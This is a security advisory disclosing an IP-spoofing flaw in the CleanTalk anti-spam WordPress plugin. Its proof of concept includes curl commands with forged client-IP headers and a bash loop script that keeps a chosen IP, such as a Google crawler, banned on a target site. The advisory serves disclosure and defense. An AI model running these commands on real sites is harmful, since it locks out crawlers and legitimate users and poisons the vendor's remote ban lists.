Affected plugin | Spam protection, AntiSpam, FireWall by CleanTalk |
Active installs | 100,000+ |
Vulnerable version | <= 5.184 |
Audited version | 5.184 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
The plugin is wide open to IP spoofing, which an attacker can exploit to permanently ban search engine crawlers, the site’s reverse proxy, or legitimate users locally and in CleanTalk’s remote WAF.
Proof of concept
The plugin uses the Cleantalk\Common\Helper::ipGet method everywhere it needs to access the current request’s IP address.
This method is 250+ lines long and calls itself recursively many times, which is why we won’t explain why it’s vulnerable to IP spoofing.
As a quick summary:
- The plugin reads IPs from a whole range of spoofable headers.
- The plugin always uses the leftmost IP address (if a header contains multiple IPs), which is always the one an attacker can spoof.
You can verify this using the following must-use plugin:
<?php
// wp-content/mu-plugins-ip.php
declare(strict_types=1);
use Cleantalk\Common\Helper;
$test_real_ip = '58.70.238.164';
$_SERVER['REMOTE_ADDR'] = $test_real_ip;
if(!isset($_SERVER['HTTP_TEST_IP'])) {
return;
}
add_action('plugins_loaded', function (){
echo Helper::ipGet('real');
echo "\n";
die();
});
Two scenarios can be distinguished:
1. A site behind Cloudflare
The plugin always checks first if the “Cf-Connecting-IP” header is present and will use its value to retrieve the “real” IP address.
The “Cf-Connecting-IP” header can not be spoofed if an attacker is connecting to the site through Cloudflare because Cloudflare (rightfully so) replaces the “Cf-Connecting-IP” header if it is present once the request hits their servers.
(Un)fortunately, the plugin skips the check for the “Cf-Connecting-Ip” header if an “X-Gt-Clientip” header is present.
curl -X GET https://local.test -H "TEST-IP: 1" -H "X-Gt-Viewer-Ip: 221.85.155.180" -H "X-Gt-Clientip: whatever"
221.85.155.180 # IP spoofed
2. Any other network architecture
IP spoofing is trivial for any site that is not behind Cloudflare since an attacker can now spoof the “Cf-Connecting-Ip” header, which the plugin will always use if present.
curl -X GET https://site.test -H "TEST-IP: 1" -H "Cf-Connecting-Ip: 221.85.155.180" -H "Cf-Ray: whatever"
221.85.155.180, # IP spoofed
An attacker can use this information to ban random IPs locally using the “AntiFlood” functionality of the plugin. Furthermore, IP spoofing can be used to trigger a ban event for arbitrary IPs at CleanTalk’s remote APIs.
CleanTalks AntiFlood firewall will deny access to the site for a given IP if more than 20 requests (configurable) with the IP were made within the last minute. Once the threshold of 20 requests per minute is exceeded, the IP will be banned until the UNIX timestamp of the next full minute.
The following bash script can be used to almost indefinitely ban search engine crawlers from accessing the site. If the site has any rate limiting at the server level, this needs to be tweaked to address this. But it’s trivial to pause in the bash script until the UNIX timestamp of the next whole minute once 20 requests are exceeded.
#!/usr/bin/env bash
# ban-ip.sh
IP="$1"
DOMAIN="$2"
while true ; do
for ((i = 1; i <= 20; i++)); do
curl -s -X GET "https://$DOMAIN" \
-H "Cf-Connecting-Ip: $IP" \
-H "Cf-Ray: whatever"
sleep 1;
echo "Request $i";
done
echo "Sleeping 25 seconds";
sleep 25;
done
Run:
bash ban-ip.sh 66.249.66.67 target-site.com
One of Google’s crawlers is now banned on the target site.
Wait until 20 requests are completed then run:
curl -X GET "https://target-site.com" \
-H "Cf-Connecting-Ip: 66.249.66.67" \
-H "Cf-Ray: whatever" | grep "Anti-Flood
Anti-Flood is activated for your IP 66.249.66.67
We are 100% certain that there are many possible attack vectors as CleanTalk uses the spoofed IP in dozens of security-related contexts.
Another obvious attack vector is submitting comment spam with a spoofed IP address to get an IP banned at the remote WAF level.
Proposed patch
The needed patch is described in great length in this article of us.
Summary: Only ever use REMOTE_ADDR to access to current IP.
Timeline
Vendor contacted | September 10, 2022 |
First Response | September 14, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Miscellaneous
- The vendor did not consider this a security issue, nor did he care to work on a fix. Instead, the vendor tried to justify that this is taken care of on their servers. CleanTalk supposedly uses the REMOTE_ADDR and all other “IP headers” (all of which are spoofable) to determine if a ban should occur across their network. However, none of this has anything to do with getting users banned locally.
- It’s concerning that a remote WAF vendor cannot correctly determine an IP address and does not consider this a serious security issue either.
Leave a Reply